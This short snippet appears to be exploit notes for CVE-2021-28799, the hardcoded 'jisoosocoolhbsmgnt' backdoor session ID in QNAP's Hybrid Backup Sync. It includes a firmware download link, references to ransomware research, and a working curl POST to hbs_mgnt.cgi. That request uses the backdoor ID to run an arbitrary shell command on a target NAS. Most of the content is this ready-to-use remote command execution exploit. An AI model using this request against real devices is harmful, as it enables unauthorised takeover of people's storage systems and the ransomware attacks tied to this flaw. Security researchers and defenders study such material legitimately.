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CVE-2021-28799 jisoosocoolhbsmgnt backdoor cmd
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| # Firmware: http://web.archive.org/web/20210419003130/https://download.qnap.com/QPKG/HybridBackup_15.1.0225_x86_64.zip | |
| # Info | |
| # - https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/ | |
| # - https://es.slideshare.net/slideshow/cb21-nas-as-not-as-secure-by-talun-yen-and-shirley-kuo/251004330#1 | |
| # rr2/test/cgi/hbs_mgnt/test_cgi_run_cmd.sh | |
| /sbin/curl -X POST -H "Content-Type: application/json; charset=UTF-8" \ | |
| --data-ascii '{"act": "run_cmd", "sid": "jisoosocoolhbsmgnt", "cmd":"ls -al /share/Public/"}' \ | |
| http://$TEST_IP:8080/cgi-bin/backup/hbs_mgnt.cgi |
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